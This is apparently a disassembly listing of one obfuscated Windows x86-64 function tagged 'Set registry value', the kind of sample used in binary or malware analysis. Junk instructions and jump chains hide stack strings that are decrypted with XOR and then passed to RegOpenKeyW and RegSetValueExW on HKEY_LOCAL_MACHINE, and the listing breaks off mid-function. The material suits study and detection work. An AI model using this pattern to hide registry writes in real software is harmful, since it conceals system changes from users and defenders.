Function at 0x1403fe889
Capabilities:
Set registry value

Disassembly:
push r15
mov r15w, bx
btc r15w, dx
push r14
push r13
push r12
inc r13
sar r15b, 0xe0
shrd r13w, r12w, 0x55
push rsi
btr r12d, eax
push rdi
xor rax, 0x59db0ebb
xadd r14b, dil
push rbp
movzx r13d, dx
xor rdi, r14
push rbx
rol bpl, cl
movsxd rbx, edi
sub rsp, 0x2f8
movabs rax, 0xe009ec3224c8fd6e
cmovae r13d, esi
mov qword [rsp + 0x2e0], rax
cmovl esi, edx
jmp 0x1403fe8ec
mov qword [rsp + 0x40], rax
movsx si, spl
mov r15b, 0xba
not ax
movabs rax, 0x2204bcb80ebea5a3
bswap r14
mov qword [rsp + 0x2d8], rax
movzx r12w, r13b
xchg r13b, r14b
movzx esi, r15w
mov qword [rsp + 0x48], rax
movabs rax, 0xfbc9f38de01f2fa2
mov r13b, 0x92
mov qword [rsp + 0x2d0], rax
setb r15b
mov qword [rsp + 0x50], rax
mov r15, 0x487333e5
movabs rax, 0x17a75ff95317a686
xchg r12, r13
seto r15b
movsx r15d, r8w
mov qword [rsp + 0x2c8], rax
cmovne r14w, di
mov qword [rsp + 0x58], rax
mov r15b, r14b
movabs rax, 0xfd99d5578f55fa6f
movzx r13w, al
movzx r12, ax
cmovnp r14d, ebx
mov qword [rsp + 0x2c0], rax
movzx r14, r9w
movsx bp, r9b
cmovb r14d, r14d
mov qword [rsp + 0x60], rax
movsxd r13, ebx
movsx esi, cx
movabs rax, 0x4b3964fdcd447246
mov bl, r10b
xchg sil, bpl
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x68], rax
movzx rax, ax
movabs rax, 0xee88324679eb2227
mov qword [rsp + 0x2b0], rax
movsx rsi, r12w
movsx r13w, bl
sete dil
mov qword [rsp + 0x70], rax
movabs rax, 0x6d7346ad6d4ffefa
mov qword [rsp + 0x2a8], rax
cmova di, r8w
movsx rdi, cx
mov qword [rsp + 0x78], rax
movabs rax, 0xd093683aef376a76
movsx r15, r10w
xchg bx, r15w
mov r12b, 0xe8
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x80], rax
movsxd r15, esp
movabs rax, 0xa80f93e9d32b8c6f
mov ebp, 0x5f6c2e25
movsx bx, r10b
movzx bx, r12b
mov qword [rsp + 0x298], rax
seta sil
movsx esi, r8w
mov qword [rsp + 0x88], rax
movzx di, r14b
movabs rax, 0x33e730243394033e
bswap r14
mov qword [rsp + 0x290], rax
jmp 0x1403fea85
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
movzx r14w, al
movsx r12w, r8b
movsx r13d, r14w
mov qword [rsp + 0x288], rax
xchg rsi, r12
mov qword [rsp + 0x98], rax
not r15d
movzx r15d, bx
movzx r13, dx
movabs rax, 0xb0b65ec58a603c8
movsx r15w, r11b
jmp 0x1403feadb
mov qword [rsp + 0x280], rax
movzx rbp, r15w
movsx r12, r15w
mov qword [rsp + 0xa0], rax
movabs rax, 0x6708be65ca8156d7
movzx r12w, bl
movsxd r12, r14d
movzx rdi, dx
mov qword [rsp + 0x278], rax
mov qword [rsp + 0xa8], rax
not r15b
movabs rax, 0x46a7044da5524090
mov si, 0x517a
mov qword [rsp + 0x270], rax
mov qword [rsp + 0xb0], rax
movsx r13d, di
movabs rax, 0x4b8cb541ca050f46
movzx ebx, r14w
cmovns r13w, r12w
seto r14b
mov qword [rsp + 0x268], rax
xchg r15b, dil
mov qword [rsp + 0xb8], rax
movzx di, r13b
movabs rax, 0xe627ab41184af921
xchg di, di
mov qword [rsp + 0x260], rax
movsx si, cl
movsx ebx, r14w
movzx rbp, si
mov qword [rsp + 0xc0], rax
bswap r13d
cwde
movabs rax, 0x34c77b6e31b9a
movsx r13d, di
mov r15w, 0xce0
mov qword [rsp + 0x258], rax
cmovae rbp, rsi
movsx di, r13b
mov bh, 0xf5
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8cf4ec0049852bb
jmp 0x1403febdb
mov qword [rsp + 0xd0], rax
cmovb bp, bx
bswap r15
movabs rax, 0xa5eac9844f8ea419
jmp 0x1403fec01
mov qword [rsp + 0xd8], rax
movsx ebx, bp
bswap ax
setb r14b
mov qword [rsp + 0x30], 0
not r15b
setne bh
mov dword [rsp + 0x3c], 0
mov r15w, dx
cbw
movzx r12w, r13b
movabs rbp, 0x2eb490333e21dae3
lahf
movzx rax, di
mov qword [rsp + 0xe0], rbp
movzx bx, sil
movsx si, cl
cwde
movabs r14, 0x28903e48668cb956
jmp 0x1403fec65
mov qword [rsp + 0xe8], r14
mov r12w, 0x213e
movsx rbx, ax
movabs r15, 0xe05dec612491fd3d
mov si, 0xa75
movsx bx, ch
mov qword [rsp + 0x100], r15
movzx rax, r8w
movsx r12d, r13w
xchg sil, dil
movabs r12, 0x2247bce40ef3a5e6
cmovl bx, bx
movzx rdi, si
mov qword [rsp + 0x108], r12
jmp 0x1403fecba
movabs rsi, 0xfbacf3ffe06d2fd7
jmp 0x1403fecd0
mov qword [rsp + 0x110], rsi
cbw
movabs rdi, 0x17c85fba5363a6e8
bswap r13d
jmp 0x1403fecec
mov qword [rsp + 0x118], rdi
mov r13b, dil
movzx ax, bpl
cwde
movabs rax, 0xfdf6d5258f21fa01
movsx ebx, di
bswap r13w
movsx r13, si
mov qword [rsp + 0x120], rax
setb r13b
mov rbx, rax
movsx eax, dx
mov r13d, 0x29561436
cbw
movabs rax, 0x4b4d6498cd17722a
sete r13b
movsx r13d, r11w
cmovl r13d, r13d
mov qword [rsp + 0x2f0], rax
cmovle r13d, ebx
movsx r13, dx
movzx r13d, bp
mov qword [rsp + 0x128], rax
setg ah
movabs rax, 0xeefa322379b8227b
mov qword [rsp + 0x250], rax
cmovnp r13w, sp
bswap r13
movzx r13, cx
mov qword [rsp + 0x130], rax
cdqe
mov al, r9b
not eax
movabs rax, 0x6d1646ce6d26fe8c
movsxd r13, esi
cmovno r13d, eax
movzx r13d, r15w
mov qword [rsp + 0x248], rax
movsxd r13, r9d
mov qword [rsp + 0x138], rax
movabs rax, 0xd0fb6869ef6b6a05
movzx r13w, r10b
xchg r13b, r13b
mov qword [rsp + 0x240], rax
movzx r13, r9w
cmovle r13, r12
movsx r13, bp
mov qword [rsp + 0x140], rax
movsx ax, al
movabs rax, 0xa86b938cd3598c0e
mov r13w, 0x2848
mov qword [rsp + 0x238], rax
cmovg r13w, ax
movzx r13, r10w
mov qword [rsp + 0x148], rax
not r13w
movabs rax, 0x3382304733f7037f
cmovo r13, rsp
movsx r13d, cx
mov qword [rsp + 0x230], rax
movzx r13w, sil
movzx r13d, cx
mov qword [rsp + 0x150], rax
cwde
movzx r13, r14w
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
movsx r13d, r8w
setno r13b
movsx r13w, r14b
mov qword [rsp + 0x158], rax
movzx ax, sil
not ax
movabs rax, 0xb66658d58d403a9
not r13w
movsx r13w, cl
jmp 0x1403fee8b
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x160], rax
jmp 0x1403feea5
movabs rax, 0x677abe00caf556b2
cmovb r13w, bx
mov qword [rsp + 0x218], rax
xchg r13w, r13w
mov qword [rsp + 0x168], rax
sete r13b
movsxd rax, ecx
movabs rax, 0x46ce040ba50e40e3
mov qword [rsp + 0x210], rax
setp r13b
movsx r13, cx
mov qword [rsp + 0x170], rax
setg ah
movzx r13, ax
mov ax, 0x61ac
movabs rax, 0x4bedb536ca600f34
bswap r13w
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x178], rax
bswap ax
movabs rax, 0xe648ab111826f94d
movsx r13, di
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x180], rax
movzx r13, r13w
movsx eax, dx
movabs rax, 0x7a4c14b68a1bf6
bswap r13w
movsxd r13, r10d
movsx r13w, r14b
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
movsx ax, bpl
movabs rax, 0xd8a24eaf04dc52e7
mov r13d, r8d
mov r13b, 0x82
not r13b
mov qword [rsp + 0x1f0], rax
setl r13b
movsx r13d, cx
mov qword [rsp + 0x190], rax
movabs rax, 0xa5bac9ea4fe7a478
bswap r13w
movzx r13, cx
cmovae r13d, r13d
mov qword [rsp + 0x1e8], rax
movzx r13w, r12b
mov qword [rsp + 0x198], rax
jmp 0x1403fefcc
movabs rax, 0x2edd90553e4eda91
movsx r13w, r12b
movsx r13, sp
mov qword [rsp + 0x1e0], rax
seta r13b
movzx r13d, r9w
movsx r13w, bpl
mov qword [rsp + 0x1a0], rax
lahf
movabs rax, 0x28903e4866e9b93a
xchg r13b, r13b
movzx r13d, r10w
cmovne r13w, r9w
mov qword [rsp + 0x1d8], rax
mov r13b, pe_nt_image_headers64
setne r13b
movsx r13, di
mov qword [rsp + 0x1a8], rax
not eax
movzx r13, r14w
lea r13, [rsp + 0x100]
cdqe
mov rax, r13
jmp 0x1403ff046
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ff050
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ff05d
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403ff067
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403ff075
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403ff07f
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x70]
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403ff09b
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403ff0b4
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403ff0c1
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403ff0d2
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403ff0df
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403ff104
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x1403ff111
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403ff125
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403ff132
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403ff14e
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movsx ecx, r12w
xchg r8d, r8d
movsx r8, r13w
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000002
jmp 0x1403ff17e
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
mov qword [rsp + 0x1d0], rax
jmp 0x1403ff19b
mov qword [rsp + 0x40], rax
lahf
movzx ax, r9b
movabs rax, 0x222ebca20e96a58a
jmp 0x1403ff1b5
mov qword [rsp + 0x1c8], rax
jmp 0x1403ff1c2
mov qword [rsp + 0x48], rax
cdqe
movsxd rax, edi
movzx rax, r13w
movabs rax, 0xfbcdf388e0082fa5
mov qword [rsp + 0x2e8], rax
jmp 0x1403ff1e7
mov qword [rsp + 0x50], rax
movsx eax, si
cmovae rax, rdi
movabs rax, 0x17c85fba530fa684
jmp 0x1403ff202
mov qword [rsp + 0x1c0], rax
jmp 0x1403ff20f
mov qword [rsp + 0x58], rax
jmp 0x1403ff220
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
mov qword [rsp + 0x110], rsi
movsx ax, bpl
movsx eax, r13w
mov qword [rsp + 0x118], rdi
mov rax, r13
jmp 0x1403ff251
movaps xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ff263
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403ff26d
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x30]
test rsp, r15
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x40]
and r9w, 0x773c
xor r8d, r8d
movsx r9w, r13b
mov r9d, 4
jmp 0x1403ff2ae
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403ff2be
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403ff2d1
mov qword [rsp + 0x40], rax
movzx rax, bx
movzx ax, r10b
cdqe
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ff2ee
mov qword [rsp + 0x48], rax
movzx ax, spl
mov rax, qword [rsp + 0x2d0]
jmp 0x1403ff305
mov qword [rsp + 0x50], rax
cwde
xchg al, al
mov rax, qword [rsp + 0x2c8]
jmp 0x1403ff31a
mov qword [rsp + 0x58], rax
setle ah
mov al, sil
mov rax, qword [rsp + 0x2c0]
jmp 0x1403ff332
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x68], rax
cbw
mov al, 0x69
movsxd rax, edx
mov rax, qword [rsp + 0x2b0]
jmp 0x1403ff358
mov qword [rsp + 0x70], rax
lahf
movzx eax, si
movzx rax, di
mov rax, qword [rsp + 0x2a8]
jmp 0x1403ff372
mov qword [rsp + 0x78], rax
lahf
seto al
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x1403ff398
mov qword [rsp + 0x88], rax
cwde
xchg al, ah
movzx ax, r11b
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
nop
mov rax, qword [rsp + 0x288]
jmp 0x1403ff3c7
mov qword [rsp + 0x98], rax
not al
cbw
mov rax, qword [rsp + 0x280]
jmp 0x1403ff3e0
mov qword [rsp + 0xa0], rax
movzx ax, cl
not al
movsxd rax, r15d
mov rax, qword [rsp + 0x278]
jmp 0x1403ff3fe
mov qword [rsp + 0xa8], rax
movsxd rax, r8d
movsx eax, di
cmovno rax, r11
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
movzx rax, sp
movsxd rax, edx
mov rax, qword [rsp + 0x268]
jmp 0x1403ff434
mov qword [rsp + 0xb8], rax
movsx ax, r12b
mov rax, qword [rsp + 0x260]
jmp 0x1403ff44e
mov qword [rsp + 0xc0], rax
movzx rax, sp
mov rax, qword [rsp + 0x258]
jmp 0x1403ff467
mov qword [rsp + 0xc8], rax
bswap rax
movabs rax, 0xd8c04eda048c52bb
jmp 0x1403ff481
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5eac9894f8ea414
jmp 0x1403ff498
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rbp
nop
mov qword [rsp + 0xe8], r14
movsx rax, r9w
cdqe
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
setne r14b
cwde
movsx rax, r11w
mov qword [rsp + 0x110], rsi
movzx ax, r15b
mov qword [rsp + 0x118], rdi
movzx rbp, sp
movsx r14, r8w
mov rbp, rbx
movsx r14, ax
not ah
mov qword [rsp + 0x120], rbx
cdqe
cbw
mov r14, qword [rsp + 0x2f0]
cbw
bswap ax
movsx eax, r14w
mov qword [rsp + 0x128], r14
mov eax, r13d
movzx ax, r11b
mov rax, qword [rsp + 0x250]
jmp 0x1403ff530
mov qword [rsp + 0x130], rax
movzx eax, r8w
movsxd rax, edx
cbw
mov rax, qword [rsp + 0x248]
jmp 0x1403ff54e
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x240]
jmp 0x1403ff563
mov qword [rsp + 0x140], rax
not eax
movsxd rax, esi
movzx rax, bx
mov rax, qword [rsp + 0x238]
jmp 0x1403ff581
mov qword [rsp + 0x148], rax
bswap ax
lahf
mov rax, qword [rsp + 0x230]
jmp 0x1403ff59a
mov qword [rsp + 0x150], rax
movzx ax, r14b
xchg al, al
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
movzx ax, r10b
not ah
cwde
mov rax, qword [rsp + 0x220]
jmp 0x1403ff5ce
mov qword [rsp + 0x160], rax
movzx ax, r14b
setbe ah
cmove ax, bp
mov rax, qword [rsp + 0x218]
mov qword [rsp + 0x168], rax
mov ah, 0xa0
jmp 0x1403ff5ff
mov rax, qword [rsp + 0x210]
jmp 0x1403ff60c
mov qword [rsp + 0x170], rax
bswap ax
movsxd rax, ebx
jmp 0x1403ff61f
mov rax, qword [rsp + 0x208]
jmp 0x1403ff62c
mov qword [rsp + 0x178], rax
movzx rax, si
not eax
jmp 0x1403ff63f
mov rax, qword [rsp + 0x200]
jmp 0x1403ff64c
mov qword [rsp + 0x180], rax
movzx rax, r15w
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
not ax
cmovno rax, rbx
movsxd rax, r10d
mov rax, qword [rsp + 0x1f0]
jmp 0x1403ff67f
mov qword [rsp + 0x190], rax
movzx ax, r8b
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x1e0]
jmp 0x1403ff6a9
mov qword [rsp + 0x1a0], rax
cbw
cmovbe eax, eax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403ff6c3
mov qword [rsp + 0x1a8], rax
movsx rax, bp
mov rax, r13
jmp 0x1403ff6d7
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1403ff6e6
movaps xmm2, xmmword [rsp + 0x60]
jmp 0x1403ff6f0
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1403ff6fd
movaps xmmword [rsp + 0x40], xmm0
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
jmp 0x1403ff710
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
jmp 0x1403ff71e
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
jmp 0x1403ff72c
movaps xmm0, xmmword [rsp + 0x80]
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x1403ff745
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x1403ff752
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x1403ff763
movaps xmm0, xmmword [rsp + 0xa0]
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403ff77c
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403ff789
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403ff79a
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403ff7be
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403ff7d2
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1403ff7df
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
lea rdx, [rsp + 0x40]
movsx cx, r9b
mov rcx, 0xffffffff80000002
not r8b
mov r8w, 0x5f7b
lea r8, [rsp + 0x30]
jmp 0x1403ff811
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
bswap ebx
mov qword [rsp + 0x40], rax
movsx eax, r10w
mov eax, 0x499d32e2
mov rax, qword [rsp + 0x1c8]
mov bh, cl
bswap bx
movsxd rbx, esp
mov qword [rsp + 0x48], rax
movsx ax, r9b
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
mov al, ah
movsx eax, bx
movsxd rax, r14d
mov rax, qword [rsp + 0x1c0]
jmp 0x1403ff86b
mov qword [rsp + 0x58], rax
cwde
cbw
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
movsx eax, di
mov ax, si
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
lahf
cdqe
mov rax, r13
jmp 0x1403ff8a4
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ff8ae
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
btr rdx, 0x57
shl r9d, 0x27
mov rcx, qword [rsp + 0x30]
movzx r9w, r15b
lea rax, [rsp + 0x3c]
cdq
bts r9w, cx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
shld edx, r9d, 2
ror dh, 0x3e
lea rdx, [rsp + 0x40]
sub r8d, r8d
mov r9d, 4
jmp 0x1403ff90a
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x1403ff928
mov qword [rsp + 0x40], rax
movsx ax, r14b
cwde
movsx rax, di
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ff944
mov qword [rsp + 0x48], rax
movzx eax, r13w
mov al, 0x6e
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x1403ff969
mov qword [rsp + 0x58], rax
cmovle rax, rsp
movsxd rax, esp
cbw
mov rax, qword [rsp + 0x2c0]
jmp 0x1403ff984
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x2b8]
jmp 0x1403ff996
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
mov rax, r9
not ax
mov rax, qword [rsp + 0x2a8]
jmp 0x1403ff9bb
mov qword [rsp + 0x78], rax
setae ah
movsx rax, r11w
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x88], rax
nop
bswap ax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
nop
mov al, dil
bswap ax
mov rax, qword [rsp + 0x288]
jmp 0x1403ffa10
mov qword [rsp + 0x98], rax
lahf
cbw
cdqe
mov rax, qword [rsp + 0x280]
jmp 0x1403ffa2a
mov qword [rsp + 0xa0], rax
setns al
cdqe
mov rax, qword [rsp + 0x278]
jmp 0x1403ffa44
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x270]
jmp 0x1403ffa59
mov qword [rsp + 0xb0], rax
cwde
cbw
mov rax, qword [rsp + 0x268]
jmp 0x1403ffa71
mov qword [rsp + 0xb8], rax
movzx eax, si
movzx rax, di
cmovl rax, r15
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
movsxd rax, r14d
cmovg eax, edi
not rax
mov rax, qword [rsp + 0x258]
jmp 0x1403ffaaa
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c34edb048f52bb
jmp 0x1403ffac1
mov qword [rsp + 0xd0], rax
jmp 0x1403ffad0
movabs rax, 0xa5c8c98b4f83a416
jmp 0x1403ffadf
mov qword [rsp + 0xd8], rax
movzx rax, bx
movabs rax, 0x2eb290273e1edaf5
mov qword [rsp + 0xe0], rax
cbw
movabs rax, 0x28f53e246680b95c
jmp 0x1403ffb0e
mov qword [rsp + 0xe8], rax
bswap eax
lahf
mov qword [rsp + 0x100], r15
setnp al
mov qword [rsp + 0x108], r12
movzx eax, r12w
not al
mov qword [rsp + 0x110], rsi
lahf
movsx eax, r8w
movsxd rax, r10d
mov qword [rsp + 0x118], rdi
movsx rax, dx
mov qword [rsp + 0x120], rbp
mov qword [rsp + 0x128], r14
not ah
mov rax, qword [rsp + 0x250]
jmp 0x1403ffb6d
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x248]
jmp 0x1403ffb82
mov qword [rsp + 0x138], rax
bswap rax
cbw
mov rax, qword [rsp + 0x240]
jmp 0x1403ffb9c
mov qword [rsp + 0x140], rax
movsx rax, cx
mov al, 0xd0
movsx eax, r11w
mov rax, qword [rsp + 0x238]
jmp 0x1403ffbbb
mov qword [rsp + 0x148], rax
movzx rax, dx
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
mov al, r9b
movsx eax, r11w
movsxd rax, r13d
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x158], rax
not rax
cbw
movsx rax, r11w
mov rax, qword [rsp + 0x220]
jmp 0x1403ffc07
mov qword [rsp + 0x160], rax
movsx ax, r11b
mov rax, qword [rsp + 0x218]
jmp 0x1403ffc21
mov qword [rsp + 0x168], rax
movzx ax, r9b
movzx rax, r15w
mov rax, qword [rsp + 0x210]
jmp 0x1403ffc3f
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x208]
jmp 0x1403ffc54
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x200]
jmp 0x1403ffc69
mov qword [rsp + 0x180], rax
movsx ax, r12b
mov rax, qword [rsp + 0x1f8]
jmp 0x1403ffc83
mov qword [rsp + 0x188], rax
mov eax, r12d
mov rax, qword [rsp + 0x1f0]
jmp 0x1403ffc9b
mov qword [rsp + 0x190], rax
jmp 0x1403ffcae
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x198], rax
lahf
mov al, ch
mov rax, qword [rsp + 0x1e0]
jmp 0x1403ffcce
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1403ffce3
mov qword [rsp + 0x1a8], rax
movabs rax, 0xa1410f538a85c08b
mov qword [rsp + 0xf0], rax
jmp 0x1403ffd02
mov qword [rsp + 0x1b0], rax
not eax
jmp 0x1403ffd14
movabs rax, 0x6078a8fe5539451c
jmp 0x1403ffd23
mov qword [rsp + 0xf8], rax
jmp 0x1403ffd30
mov qword [rsp + 0x1b8], rax
not ax
mov rax, 0x1e001d
cdqe
mov rax, r13
jmp 0x1403ffd4c
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ffd56